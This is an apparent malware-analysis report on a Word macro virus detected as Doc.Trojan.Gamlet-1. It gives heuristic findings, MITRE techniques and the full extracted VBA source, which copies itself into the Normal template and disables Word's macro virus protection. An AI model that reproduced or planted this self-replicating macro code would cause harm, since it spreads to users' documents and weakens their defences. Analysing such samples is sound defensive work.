MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample exhibits critical heuristic firings indicating the presence of legacy WordBasic and VBA macros, specifically an Auto_Close macro. The ClamAV detection 'Doc.Trojan.Gamlet-1' strongly suggests malicious intent. The AutoClose macro attempts to copy itself between the active document and the Normal template, a common technique for persistence or spreading.
Heuristics 4
-
ClamAV: Doc.Trojan.Gamlet-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Gamlet-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1174 bytes |
SHA-256: 4f5acf7a2047a6a0098fa0bf487b7c7ec053f87a761e1aff780acf435a94bd29 |
|||
|
Detection
ClamAV:
Doc.Trojan.Gamlet-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Gamlet"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoclose"
StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next
Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
Object:=wdOrganizerObjectProjectItems
e1:
On Error Resume Next
Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
Object:=wdOrganizerObjectProjectItems
e2:
End Sub
Sub AutoExec()
Options.VirusProtection = False
End Sub
Sub ToolsMacro()
' Dialogs(wdDialogToolsMacro).Show
With Assistant
.Visible = True
.Animation = 24
End With
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.